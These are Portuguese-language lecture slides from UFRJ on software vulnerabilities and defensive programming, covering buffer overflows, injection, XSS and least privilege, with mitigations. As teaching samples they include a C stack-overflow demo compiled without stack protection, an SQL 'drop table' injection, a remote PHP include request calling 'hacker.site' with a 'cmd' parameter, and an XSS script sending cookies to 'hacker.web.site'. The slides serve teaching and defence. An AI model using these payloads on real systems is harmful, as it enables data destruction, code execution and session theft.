

Aula 16 - Vulnerabilidade de Software

Prof. Gabriel Rodrigues Caldas de Aquino

Instituto de Computação
Universidade Federal do Rio de Janeiro
gabrielaquino@ic.ufrj.br

Compilado em:
November 18, 2025

- **A Raiz do Problema:**

- Muitas vulnerabilidades de segurança resultam de **práticas de programação ruins**.
- A conscientização sobre essas falhas é um passo inicial crítico para escrever código de programa mais seguro.
- A lista dos 10 Principais Riscos de Segurança em Aplicações Web da OWASP inclui cinco falhas diretamente relacionadas a código de software inseguro.
- **Estas falhas incluem:**
 - Entrada de dados não validada.
 - Cross-site scripting (XSS).
 - Estouro de buffer.
 - Falhas de injeção.
 - Tratamento inadequado de erros.

As Falhas Mais Perigosas (CWE/SANS Top 25)

- A lista **CWE/SANS Top 25 Most Dangerous Software Errors** detalha o consenso sobre práticas que causam a maioria dos ciberataques.
- **As falhas são agrupadas em 3 categorias:**
 - 1. Interação Insegura entre Componentes.
 - 2. Gerenciamento de Recursos Arriscado.
 - 3. Defesas Porosas.

Categoria de Erro de Software: Interação Insegura entre Componentes

- Neutralização Imprópria de Elementos Especiais usados em um Comando SQL (**Injeção de SQL**)
- Neutralização Imprópria de Elementos Especiais usados em um Comando do SO (**Injeção de Comando do SO**)
- Neutralização Imprópria de Entrada Durante a Geração de Página Web (**Cross-site Scripting**)
- Upload Irrestrito de Arquivo com Tipo Perigoso
- Falsificação de Solicitação entre Sites (**CSRF**)
- Redirecionamento de URL para Site Não Confiável (**Redirecionamento Aberto**)

Categoria de Erro de Software: Gerenciamento de Recursos Arriscado

- Cópia de Buffer sem Verificar o Tamanho da Entrada (**Estouro de Buffer**)
- Limitação Imprópria de um Nome de Caminho para um Diretório Restrito (**Path Traversal**)
- Download de Código Sem Verificação de Integridade
- Inclusão de Funcionalidade de Esfera de Controle Não Confiável
- Uso de Função Potencialmente Perigosa
- Cálculo Incorreto do Tamanho do Buffer
- String de Formatação Não Controlada
- Estouro de Inteiro ou *Wraparound*

Categoria de Erro de Software: Defesas Porosas

- Falta de Autenticação para Função Crítica
- Falta de Autorização
- Uso de Credenciais Embutidas no Código (*Hard-coded*)
- Falta de Criptografia de Dados Sensíveis
- Dependência de Entradas Não Confiáveis em Decisão de Segurança
- Execução com Privilégios Desnecessários
- Autorização Incorreta
- Atribuição Incorreta de Permissão para Recurso Crítico
- Uso de Algoritmo Criptográfico Quebrado ou Arriscado
- Restrição Imprópria de Tentativas Excessivas de Autenticação
- Uso de Hash Unidirecional sem *Salt*

Falhas de Software e Qualidade

- **Causas da Falha de um Programa:**

- Resultado de alguma entrada teoricamente aleatória e não antecipada.
- Interação do sistema.
- Uso de código incorreto.

- **Distribuição:**

- Espera-se que essas falhas sigam alguma forma de distribuição de probabilidade.

- **Abordagem Usual para Qualidade:**

- Uso de projeto estruturado e testes.
- Objetivo: Identificar e eliminar tantos bugs quanto for razoavelmente possível.

- **Metodologia de Teste:**

- Envolve variações de entradas prováveis e erros comuns.
- Intenção: Minimizar o número de bugs que seriam vistos no uso geral.

- **A Preocupação Principal:**

- Não é o número total de bugs em um programa.
- Mas sim a frequência com que eles são acionados, resultando na falha do programa.

Segurança de Software: A Abordagem Diferenciada

- **A Escolha do Atacante:**

- A segurança de software difere na medida em que o atacante escolhe a distribuição de probabilidade.
- O foco é atingir bugs específicos que resultam em uma falha que pode ser explorada.

- **Entradas e Testes:**

- Esses bugs podem ser frequentemente acionados por entradas que diferem drasticamente do que é usualmente esperado.
- Consequentemente, é improvável que sejam identificados por abordagens comuns de teste.

- **Escrita de Código Seguro:**

- Requer atenção a todos os aspectos de como um programa executa, o ambiente em que ele executa e o tipo de dados que processa.
- Nada pode ser assumido e todos os erros potenciais devem ser verificados.

Definição de Programação Defensiva

- **Definição:**

- A Programação Defensiva (ou Segura) é o processo de projetar e implementar software de modo que ele continue a funcionar mesmo quando sob ataque.

- **Comportamento do Software:**

- O software escrito usando este processo é capaz de detectar condições errôneas resultantes de algum ataque.
- Ele deve ser capaz de continuar executando com segurança ou falhar de forma graciosa.

- **A Regra Chave:**

- Nunca assumir nada.
- Verificar todas as suposições.
- Tratar qualquer estado de erro possível.

Modelo Abstrato e Suposições de Execução

- **Explicitação de Suposições:**
 - A definição enfatiza a necessidade de tornar explícitas quaisquer suposições sobre como um programa será executado.
 - Também é necessário explicitar os tipos de entrada que ele processará.
- **Modelo Abstrato de um Programa:**
 - Ilustra conceitos ensinados na maioria dos cursos introdutórios de programação.
 - O programa lê dados de entrada de uma variedade de fontes possíveis.
 - Processa esses dados de acordo com algum algoritmo.
 - Gera saída, possivelmente para múltiplos destinos diferentes.
- **Ambiente e Interações:**
 - Executa no ambiente fornecido por algum sistema operacional, usando instruções de máquina de um processador específico.
 - Durante o processamento, o programa usará chamadas de sistema (*system calls*) e possivelmente outros programas disponíveis.
- **Efeitos e Complexidade:**
 - A execução pode resultar em dados salvos ou modificados no sistema, ou causar outros efeitos colaterais.
 - Todos esses aspectos podem interagir entre si, frequentemente de maneiras complexas.

Foco do Desenvolvimento e Pressões de Negócio

- **O Foco Típico do Programador:**

- Foca no que é necessário para resolver o problema abordado pelo programa.
- A atenção está nos passos para o sucesso e no fluxo normal de execução.
- Frequentemente, não considera cada ponto potencial de falha.

- **Suposições e Programação Defensiva:**

- Programadores costumam fazer suposições sobre os tipos de entrada e o ambiente de execução.
- A programação defensiva exige que essas suposições sejam validadas pelo programa.
- Todas as falhas potenciais devem ser tratadas de forma graciosa e segura.

- **Impacto e Conflito:**

- Tratar erros corretamente aumenta a quantidade de código e o tempo de desenvolvimento.
- Isso conflita com pressões de negócio para manter tempos de desenvolvimento curtos e maximizar a vantagem de mercado.

- **Conclusão:**

- A menos que a segurança de software seja um objetivo de design desde o início, é improvável que resulte em um programa seguro.

- **O Foco na Mudança:**

- Quando mudanças são necessárias, o programador geralmente foca no que precisa ser alcançado.

- **Exigências da Programação Defensiva:**

- Verificar cuidadosamente quaisquer suposições feitas.
- Verificar e tratar todos os erros possíveis.
- Checar cuidadosamente quaisquer interações com o código existente.

- **Riscos da Falha no Gerenciamento:**

- Pode resultar em comportamento incorreto do programa.
- Pode introduzir vulnerabilidades em um programa que era anteriormente seguro.

A Mentalidade Defensiva (Mindset)

- **Mudança de Paradigma:**

- Requer uma mentalidade diferente das práticas tradicionais (que focam na "maioria dos usuários, na maioria das vezes").
- Necessária consciência das consequências da falha e das técnicas dos atacantes.
- "A paranoia é uma virtude": o crescimento de relatórios de vulnerabilidade comprova a ameaça.

- **Limitações de Testes e Resiliência:**

- Testes normais não identificam vulnerabilidades disparadas por entradas altamente incomuns.
- Lições devem ser aprendidas de falhas anteriores.
- Programas devem ser projetados para serem o mais resilientes possível diante de qualquer erro ou condição inesperada.

- **Comparação com outras Disciplinas:**

- A necessidade de segurança e confiabilidade como objetivos de design é reconhecida há muito tempo na maioria das engenharias.
- A sociedade é intolerante a falhas catastróficas físicas (ex: queda de pontes, prédios ou aviões).

- **A Realidade do Software:**

- O desenvolvimento de software ainda não atingiu esse nível de maturidade.
- A sociedade tolera níveis de falha muito mais altos no software do que em outras disciplinas.

- **Padrões de Qualidade:**

- Existem esforços de engenharia e padrões de qualidade (ex: ISO 12207 - Processos de ciclo de vida de software, SEI06).
- Esses padrões identificam cada vez mais a segurança como um objetivo chave de design.

- **Iniciativas Recentes (SAFECode):**

- *Software Assurance Forum for Excellence in Code.*
- Composto por grandes empresas da indústria de TI.
- Desenvolve publicações com melhores práticas para garantia de software e desenvolvimento seguro.

- **Integração no Design:**
 - Recomenda-se incorporar a **Modelagem de Ameaças** (ou análise de risco) como parte do processo de design.
- **Foco em Questões Específicas:**
 - O texto explora questões de segurança de software que devem ser incorporadas a uma metodologia de desenvolvimento mais ampla.

Áreas Críticas de Interação do Programa

- As preocupações de segurança são examinadas através das várias interações com um programa em execução:
- **1. Tratamento Seguro de Entrada (Input Handling):** Questão crítica inicial.
- **2. Implementação de Algoritmos:** Preocupações de segurança na lógica interna.
- **3. Interação com Outros Componentes:** Comunicação com o sistema e outros softwares.
- **4. Saída do Programa (Output):** Geração segura de resultados.
- *Nota:* Muitas vulnerabilidades resultam de um pequeno conjunto de erros comuns.

Tratamento de Entrada de Programa

- **A Falha Comum:**

- O manuseio incorreto da entrada do programa é uma das falhas mais comuns na segurança de software.

- **Definição de Entrada:**

- Qualquer fonte de dados que se origina fora do programa.
- Cujo valor não é explicitamente conhecido pelo programador no momento da escrita do código.

- **Fontes de Dados:**

- *Óbvias:* Teclado, mouse, arquivos, conexões de rede.
- *Indiretas:* Ambiente de execução, arquivos de configuração, valores fornecidos pelo Sistema Operacional.

- **Requisitos de Segurança:**

- Todas as fontes de entrada devem ser identificadas.
- Suposições sobre tamanho e tipo de valores devem ser levantadas.

- **Validação:**

- As suposições devem ser explicitamente verificadas pelo código do programa.
- Os valores devem ser usados de maneira consistente com essas suposições.

- **Duas Áreas de Preocupação:**

- 1. O tamanho da entrada.
- 2. O significado e interpretação da entrada.

Tamanho da Entrada e Estouro de Buffer

- **O Erro de Suposição:**

- Programadores frequentemente assumem um tamanho máximo esperado (ex: entrada de texto de poucas linhas).
- Alocam buffers fixos (ex: 512 ou 1024 bytes) sem verificar se a entrada real cabe nesse espaço.

- **Consequência (Buffer Overflow):**

- Se a entrada excede o buffer, ocorre o estouro.
- Pode comprometer a execução do programa.

- **Falha nos Testes:**

- Testes comuns geralmente usam entradas "esperadas" e não identificam a vulnerabilidade.
- É improvável que incluam entradas grandes o suficiente para disparar o erro, a menos que testado explicitamente.

- **Problema de Bibliotecas:**

- Rotinas podem não limitar a quantidade de dados transferidos para o buffer.
- Isso agrava o problema de estouro de buffer.

- **Práticas de Programação Segura:**

- Uso de rotinas seguras de cópia de string e buffer.
- Conscientização dos programadores sobre essas armadilhas de segurança.

- **A Regra de Ouro:**
 - Considerar qualquer entrada como perigosa.
 - Processar de forma a não expor o programa ao perigo.
- **Estratégias de Tamanho:**
 - Usar buffers de tamanho dinâmico (garantindo espaço suficiente).
 - Processar a entrada em blocos do tamanho do buffer.
- **Gerenciamento de Memória:**
 - Mesmo com buffers dinâmicos, garantir que o espaço solicitado não exceda a memória disponível.

- **Falha Graciosa:**

- Se ocorrer erro de tamanho/memória, o programa deve lidar com a situação.
- Ações possíveis: Processar em blocos, descartar excesso, terminar o programa.

- **Abrangência:**

- Essas verificações devem ser aplicadas onde quer que dados de valor desconhecido entrem ou sejam manipulados.
- Devem ser aplicadas a todas as fontes potenciais de entrada.

Exemplo: Buffer Overflow na Stack

```
#include <stdio.h>
#include <string.h>

char *my_gets(char *s) {
    int c;
    char *p = s;

    while ((c = getchar()) != '\n' && c != EOF) {
        *p++ = c;
    }
    *p = '\0';
    return s;
}
```


Exemplo: Buffer Overflow na Stack (continuação)

```
void consulta_nome(char *s) { // Supor que venha um nome do banco
    strcpy(s, "Gabriel");
}

int main() {
    char var_outrasInfos[10];
    char var_nome[10];

    consulta_nome(var_nome);
    my_gets(var_outrasInfos);

    printf("Dados: Nome: %s \nOutras Informacoes: %s \n",
        var_nome, var_outrasInfos);

    printf("==Fim do Programa==\n");
    return 0;
}
```

Compilando e Executando

- **1. Compilação:** Utilize o GCC para transformar o código fonte em executável.

```
gcc -o buffer_overflow buffer_overflow.c
```

- **2. Execução:** Rode o programa gerado.

```
./buffer_overflow
```

Para testar a vulnerabilidade:

1. Tente digitar algo curto (ex: "Teste"). O programa funcionará normalmente.
2. Execute novamente e digite mais de 10 caracteres (ex: "1234567890AAAAA").
3. Observe que a variável `var_nome` ("Gabriel") será sobrescrita pelos caracteres excedentes.

Saída do Programa (Demonstração da Vulnerabilidade)

```
$ ./buffer_overflow
jewrhoewhouewhouewhurhwerhuwehriuwheirhiwphrpiuwhiurhwhrwhir
hwphrwhuirhweiwehriwiuerhiwehriwherre
```

```
Dados: Nome: uwehouewhurhwerhuwehriuwheirhiwphrpiuwhiurhwhrwhirhwphrwhuir
hweiwehriwiuerhiwehriwherre
```

```
Outras Informacoes: jewrhoewhouewhouewhurhwerhuwehriuwheirhiwphrpiuwhiurhwhir
irhweiwehriwiuerhiwehriwherre
```

```
==Fim do Programa==
```

```
*** stack smashing detected ***: terminated
```

```
fish: Job 1, './buffer_overflow' terminated by signal SIGABRT (Abort)
```

Observação: A mensagem `stack smashing detected` indica que o GCC inseriu proteções que detectaram a corrupção da pilha ao tentar retornar da função.

Desabilitando a proteção na compilação

- O erro "*stack smashing detected*" ocorre porque compiladores modernos (GCC) inserem proteções por padrão.
- Para reproduzir o ataque clássico, usamos a flag `-fno-stack-protector`.

Compilando sem protecao de stack

```
gcc -fno-stack-protector -o buffer_overflow buffer_overflow.c
```

Executando

```
./buffer_overflow
```

#Veja a saída e procure em

```
$man 7 signal
```

Interpretação da Entrada do Programa

- **Preocupação Chave:**

- O significado e a interpretação da entrada são tão críticos quanto o tamanho.
- Classificação geral: Dados textuais ou binários.

- **Processamento de Dados Binários:**

- O programa assume que valores binários brutos representam inteiros, *floats*, strings ou estruturas complexas.
- A interpretação assumida deve ser validada conforme os valores são lidos.

- **Exemplos em Protocolos:**

- Baixo nível: Frames Ethernet, pacotes IP, segmentos TCP.
- Alto nível: DNS, SNMP, NFS (codificação binária de requisições/respostas).
- Exigem validação contra especificações de sintaxe abstrata.

Exemplo de Falha: Heartbleed

- **O Caso:**

- Bug Heartbleed no OpenSSL (2014).
- Exemplo de falha na verificação da validade de um valor de entrada binário.

- **O Erro Técnico:**

- Erro de codificação: Falha ao verificar a quantidade de dados solicitada para retorno contra a quantidade fornecida.
- Classificado como *buffer over-read* (leitura excessiva de buffer).

- **Impacto:**

- Atacantes puderam acessar o conteúdo da memória adjacente.
- Vazamento de nomes de usuário, senhas, chaves privadas e outras informações sensíveis.

- **Interpretação de Caracteres:**

- Valores binários brutos são interpretados como caracteres segundo um conjunto de caracteres (*character set*).

- **Conjuntos de Caracteres:**

- Tradicionalmente: ASCII.
- Sistemas comuns (Windows/MacOS): Extensões diferentes para caracteres acentuados.
- Cenário atual: Internacionalização crescente e variedade de conjuntos de caracteres.

- **Requisito:**

- Cuidado necessário para identificar qual conjunto está sendo usado e quais caracteres estão sendo lidos.

- **Identificação do Conteúdo:**

- Além dos caracteres, o significado deve ser identificado (ex: inteiro, *float*, nome de arquivo, URL, e-mail).

- **Confirmação de Tipo:**

- Dependendo do uso, é necessário confirmar se os valores representam o tipo de dado esperado.

- **Consequências da Falha:**

- Pode resultar em vulnerabilidades.
- Permite que um atacante influencie a operação do programa, com consequências possivelmente sérias.

- **Classe de Ataques:**

- Ataques de injeção (*injection attacks*) exploram a falha na validação da interpretação da entrada.

- **Mecanismos de Defesa:**

- Validação de dados de entrada.
- Tratamento correto de entradas internacionalizadas usando diversos conjuntos de caracteres.

Interpretação de Entrada: Problemas de Serialização

- **O que é Serialização/Desserialização?**
 - Processo de converter objetos em um fluxo de bytes (para armazenamento ou transmissão) e reconstruí-los depois.
 - É uma forma complexa de interpretação de entrada binária.
- **A Vulnerabilidade (Insecure Deserialization):**
 - Ocorre quando a aplicação aceita objetos serializados de fontes não confiáveis.
 - O programa assume que o fluxo de bytes representa um objeto válido e seguro.
- **O Ataque:**
 - O atacante manipula o fluxo de bytes (input).
 - Durante a reconstrução (interpretação), o sistema é forçado a executar a lógica do atacante.
 - Frequentemente resulta em Execução Remota de Código (**RCE**).
- [Veja o seguinte TCC da UFRJ](#)

Ataques de Injeção

- **Definição:** Refere-se a uma ampla variedade de falhas de programa relacionadas ao manuseio inválido de dados de entrada.
- **Problema Central:** Ocorre quando dados de entrada influenciam, acidental ou deliberadamente, o fluxo de execução do programa.
- **Mecanismo Comum:** Dados de entrada são passados como parâmetros para um programa auxiliar no sistema, cuja saída é usada pelo programa original.
- **Contexto de Desenvolvimento:** Ocorre frequentemente em linguagens de script (Perl, PHP, Python, sh) que encorajam o reuso de utilitários do sistema para economizar esforço de codificação.
- **Uso Típico:** Comumente observados em scripts Web CGI utilizados para processar dados fornecidos por formulários HTML.

Injeção de SQL (SQL Injection)

- **Conceito:** Ataque onde a entrada fornecida pelo usuário é usada para construir uma requisição SQL e recuperar informações de um banco de dados.

- **Exemplo de Código Vulnerável (PHP):**

```
$name = $_REQUEST['name'];  
$query = "SELECT * FROM suppliers WHERE name = '" . $name . "'";  
$result = mysql_query($query);
```

- **Vulnerabilidade:** Similar à injeção de comando, mas utiliza metacaracteres SQL.
- **Cenário de Exemplo:**
 - Entrada **"Bob"**: O código funciona como pretendido.
 - Entrada **"Bob'; drop table suppliers"**: Recupera o registro e deleta a tabela inteira.
- **Prevenção e Mitigação:**
 - Validar a entrada antes do uso (escapar metacaracteres ou rejeitar).
 - Usar funções da linguagem para sanitizar a entrada.
 - Utilizar *placeholders* ou parâmetros SQL em vez de concatenar valores.
 - Uso combinado com procedimentos armazenados (*stored procedures*).

Ataque de Injeção de Código (Code Injection)

- **Definição:** Tipo de ataque onde a entrada inclui código que é posteriormente executado pelo sistema atacado.
- **Cenário (PHP):** Uso de variáveis para construir nomes de arquivos em scripts de inclusão.

```
include $path . 'functions.php';  
include $path . 'data/prefs.php';
```

- **Mecanismo da Falha:**
 - O script é chamado diretamente (burlando a intenção original).
 - Exploração de funcionalidades do PHP: atribuição de variáveis globais via requisição HTTP e comando `include` aceitando URLs remotas.
- **Exemplo de Ataque (Remote Code Injection):**
`GET /calendar/embed/day.php?path=http://hacker.site/hack.txt?&cmd=ls`
- **Resultado:** A variável `$path` recebe a URL do atacante, e o código contido no arquivo remoto é executado com os privilégios do servidor Web.

Defesas contra Ataques de Injeção

- **Bloqueio de Variáveis Globais:**

- Bloquear a atribuição automática de valores de campos de formulário para variáveis globais.
- Salvar valores em um array e recuperá-los explicitamente pelo nome (padrão em instalações PHP mais novas).
- *Desvantagem:* Pode quebrar códigos legados, exigindo esforço de correção.
- *Vantagem:* Previne injeção de código e manipulação indevida de variáveis globais.

- **Controle de Comandos de Inclusão:**

- Utilizar apenas valores constantes em comandos `include` e `require`.
- Caso o uso de variáveis seja necessário, validar rigorosamente seu valor imediatamente antes do uso.

- **Variantes e Prevenção Geral:**

- Existem outras variantes como injeção de e-mail, *format string* e injeção de interpretador.
- **Necessidade Crítica:** Identificar todas as fontes de entrada, validar suposições antes do uso e compreender a interpretação dos valores passados para qualquer função ou serviço invocado.

Exemplo de Ataque XSS e Ofuscação

- **Cenário (Roubo de Cookie):** Código injetado em um livro de visitas que envia o cookie da vítima para o atacante, permitindo personificação.

Thanks for this information, its great!

```
<script>document.location='http://hacker.web.site/cookie.cgi?'+  
document.cookie</script>
```

- **Ofuscação (Evasão):** O atacante utiliza entidades de caracteres HTML para esconder o script. O navegador interpreta o código abaixo de forma idêntica ao original.

Thanks for this information, its great!

```
&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;  
&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116; ...
```

XSS: Prevenção e Causa Raiz

- **Prevenção:**

- Examinar entradas fornecidas pelo usuário.
- Remover ou escapar (*escape*) códigos perigosos.
- Validadores devem traduzir entidades HTML antes da verificação.

- **Natureza da Falha:**

- Representa uma falha no manuseio tanto da **entrada** quanto da **saída** do programa.
- O alvo real é o **usuário** subsequente, não o servidor.
- A sanitização da saída impede a ocorrência do ataque.

- **Contexto:** Problema similar ao CSRF e *HTTP response splitting* (uso descuidado de entrada não confiável).

- **Suposições sobre Dados:**

- O programador deve garantir que os dados conformem com as suposições (caracteres imprimíveis, formato de e-mail, inteiros, etc.) antes do uso.

- **Estratégias de Validação:**

- **Whitelisting (Recomendado):** Comparar a entrada com o que é desejado e aceitar apenas o válido.
- **Blacklisting (Problemático):** Comparar com valores perigosos conhecidos. Falha quando novos métodos de evasão são descobertos.

- **Implementação:**

- Frequentemente feita via Expressões Regulares (*Regular Expressions*).
- Ação em caso de falha: Rejeitar a entrada ou sanitizá-la (escapar metacaracteres).

- **O Problema das Múltiplas Representações:**

- Caracteres podem ter múltiplas codificações (HTML, Unicode/UTF-8).
- Exemplo: O caractere “/” pode ser representado de várias formas em UTF-8 (além do padrão hexadecimal 2F).
- Atacantes usam codificações longas/redundantes para burlar filtros de segurança (ex: falha no Microsoft IIS nos anos 90).

- **Solução: Canonicalização:**

- Processo de transformar os dados de entrada em uma representação única, padrão e mínima.
- Deve ser realizada **antes** da validação.
- Recomenda-se o uso de bibliotecas anti-XSS ou frameworks Web que automatizem esse processo.

- **Representação Computacional:**
 - Valores fixos (8, 16, 32, 64 bits) e tipos (com sinal/sem sinal).
- **Vulnerabilidade de Conversão (Casting):**
 - Ocorre quando um valor é convertido de um tipo para outro incorretamente.
 - **Exemplo:** Um tamanho de buffer lido como *unsigned* (sem sinal) e depois tratado como *signed* (com sinal) em uma comparação.
 - Um valor muito grande (ex: bit superior setado) pode ser interpretado como negativo, passando na verificação de tamanho máximo, mas causando *overflow* quando usado para alocação ou cópia.

Teste de Entrada: Fuzzing

- **Definição:** Técnica de teste de software desenvolvida por Barton Miller (1989) que utiliza dados gerados aleatoriamente como entrada.
- **Objetivo:**
 - Determinar se o programa lida corretamente com entradas anormais ou se falha (crashes).
- **Características:**
 - **Vantagens:** Simplicidade, baixo custo, independência de suposições sobre a entrada esperada. Identifica falhas sérias e exploráveis.
 - **Limitações:** Pode não encontrar bugs que requerem condições de entrada muito específicas.
- **Uso:** Ferramenta essencial tanto para desenvolvedores (prevenção) quanto para atacantes (descoberta de vulnerabilidades).

Escrita de Código de Programa Seguro (Algoritmos)

- **Implementação Correta do Algoritmo:**

- Falhas no design ou implementação podem gerar bugs exploráveis (ex: gerador de números aleatórios previsível no Netscape antigo, permitindo quebra de criptografia).
- **Exemplo Crítico:** Ataques de *TCP session hijacking* exploram números de sequência iniciais previsíveis.

- **Correspondência Máquina-Algoritmo:**

- O código de máquina gerado deve representar fielmente o algoritmo de alto nível.
- Risco de compiladores maliciosos (Ken Thompson, 1984) inserindo backdoors invisíveis no código fonte.

- **Código de Depuração (Debug):**

- Código de teste deixado em produção pode permitir acesso indevido ou bypass de segurança (ex: Morris Worm explorando comando DEBUG no sendmail).

- **Interpretação de Valores de Dados:**

- A interpretação de bits (inteiro, char, ponteiro) depende das instruções de máquina.
- Linguagens com tipagem fraca (como C) permitem manipulação direta de memória/ponteiros, facilitando erros como *buffer overflows* e corrupção de estruturas de dados.
- **Defesa:** Usar linguagens com tipagem forte ou validar rigorosamente conversões de tipo (*casts*).

- **Uso Correto da Memória:**

- Falha na liberação de memória dinâmica causa **vazamento de memória (memory leak)**, podendo levar a exaustão de recursos e DoS.
- Linguagens modernas (Java, C++) com gerenciamento automático são preferíveis a C (manual) para evitar esses erros.

- **Condições de Corrida (Race Conditions):**

- Ocorrem quando múltiplos processos/threads competem por acesso não controlado a recursos compartilhados (memória).
- Sem sincronização adequada, valores podem ser corrompidos ou alterações perdidas.

- **Deadlock:**

- O uso incorreto de primitivas de sincronização pode travar processos (espera circular).
- Atacantes podem disparar deadlocks propositalmente para causar Negação de Serviço (DoS).

- **Mitigação:**

- Seleção correta de primitivas de sincronização e design cuidadoso para limitar áreas de acesso compartilhado.

- **O Ambiente de Execução:**

- Programas não rodam isolados; o S.O. media o acesso aos recursos.
- O S.O. constrói o ambiente do processo, incluindo código, dados, argumentos de linha de comando e variáveis de ambiente.
- **Regra:** Todos esses dados devem ser tratados como entradas externas e validados.

- **Controle de Acesso:**

- Recursos (arquivos, dispositivos) possuem permissões baseadas em usuários/grupos.
- Programas precisam de acesso apropriado para funcionar, mas acesso excessivo é perigoso.

Variáveis de Ambiente

- **O que são:** Coleção de valores de string herdados do processo pai (ex: PATH, IFS, LD_LIBRARY_PATH).
- **Vulnerabilidades:**
 - São uma porta de entrada para dados não confiáveis.
 - **Ataques ao PATH:** Um atacante altera o PATH para que um script privilegiado execute um programa malicioso (ex: um 'grep' falso) em vez do utilitário do sistema.
 - **Ataques ao LD_LIBRARY_PATH:** Carregamento de bibliotecas dinâmicas maliciosas em programas privilegiados.
- **Mitigação:**
 - Evitar scripts de shell privilegiados (difíceis de segurar).
 - Usar programas *wrappers* compilados para limpar o ambiente antes de chamar scripts.
 - Resetar variáveis críticas para valores seguros conhecidos no início da execução.

Princípio do Menor Privilégio

- **Conceito:** Programas devem executar com o mínimo de privilégios necessários para completar sua função.
- **Escalação de Privilégio:**
 - Se um programa privilegiado (ex: root) é comprometido, o atacante ganha controle total.
- **Práticas Recomendadas:**
 - Preferir conceder privilégios de **grupo** em vez de usuário (facilita auditoria).
 - **Gerenciamento de Arquivos:** Programas privilegiados (como servidores Web) não devem ser donos de todos os seus arquivos, apenas ter permissão de leitura onde necessário.
 - Evitar que servidores rodem como *root* o tempo todo (usar root apenas para ligar portas baixas e depois reduzir privilégio).

- **Design Seguro:**

- Particionar programas grandes e complexos em módulos menores.
- Conceder privilégios elevados apenas aos módulos que realmente precisam, e por pouco tempo.
- Facilita testes e verificação (ex: servidor de e-mail Postfix).

- **Sandboxing e Chroot:**

- Executar programas vulneráveis em ambientes isolados.
- **Chroot Jail:** Limita a visão do sistema de arquivos do programa a um diretório específico.
- **Limitação:** Configuração difícil; se feita incorretamente, o programa pode escapar ou falhar.

- **O Conflito de Otimização:**
 - O S.O. e bibliotecas padrão usam buffers e reordenamento para otimizar performance.
 - Essas otimizações podem conflitar com requisitos de segurança (ex: garantir que dados foram apagados do disco).
- **Estudo de Caso: Deleção Segura de Arquivos (File Shredding):**
 - **Problema:** Sobrescrever um arquivo não garante que os dados antigos sumiram.
 - **Camadas de Falha:** Buffers da biblioteca de I/O, buffers do sistema de arquivos, controladores de disco inteligentes (que evitam reescritas no mesmo bloco, especialmente em SSDs/Flash).
 - **Lição:** O programador seguro deve entender e controlar explicitamente essas camadas (ex: forçar *flush* e *sync*).

- **Natureza da Saída:**

- Pode ser binária (protocolos de rede, estruturas gráficas) ou textual (HTML, conjuntos de caracteres).
- Deve conformar-se estritamente ao formato e interpretação esperados pelo dispositivo ou usuário.

- **O Problema da Origem Comum:**

- Usuários assumem que a saída foi gerada e validada pelo programa confiável.
- Essa suposição falha quando o programa aceita entrada de um usuário e a exhibe para outro (ex: comentários, fóruns) sem a devida sanitização.

- **Ataques a Terminais (Legado/VT100):**
 - Uso de sequências de escape (*escape sequences*) em textos maliciosos.
 - Podiam reprogramar teclas de função para executar comandos arbitrários (ex: deletar arquivos) quando a vítima visualizasse o texto.
- **Cross-Site Scripting (XSS):**
 - Explora a confiança do navegador no site de origem.
 - Dados não sanitizados de terceiros permitem a execução de scripts (JavaScript) no contexto do navegador da vítima.

Mitigação: Filtragem e Codificação

- **Estratégia de Filtragem:**

- Programas que retransmitem dados de terceiros são responsáveis pela segurança.
- Preferir permitir apenas conteúdo seguro conhecido (*Whitelisting*) em vez de tentar remover o perigoso.

- **Codificação de Caracteres:**

- Diferentes *charsets* podem alterar a interpretação de metacaracteres.
- A codificação deve ser especificada explicitamente (ex: cabeçalho Content-Type) para evitar que o navegador assuma um padrão inseguro.

- **Alvo do Compromisso:** O ataque visa o usuário ou dispositivo de exibição, não o servidor, mas danifica a reputação do software.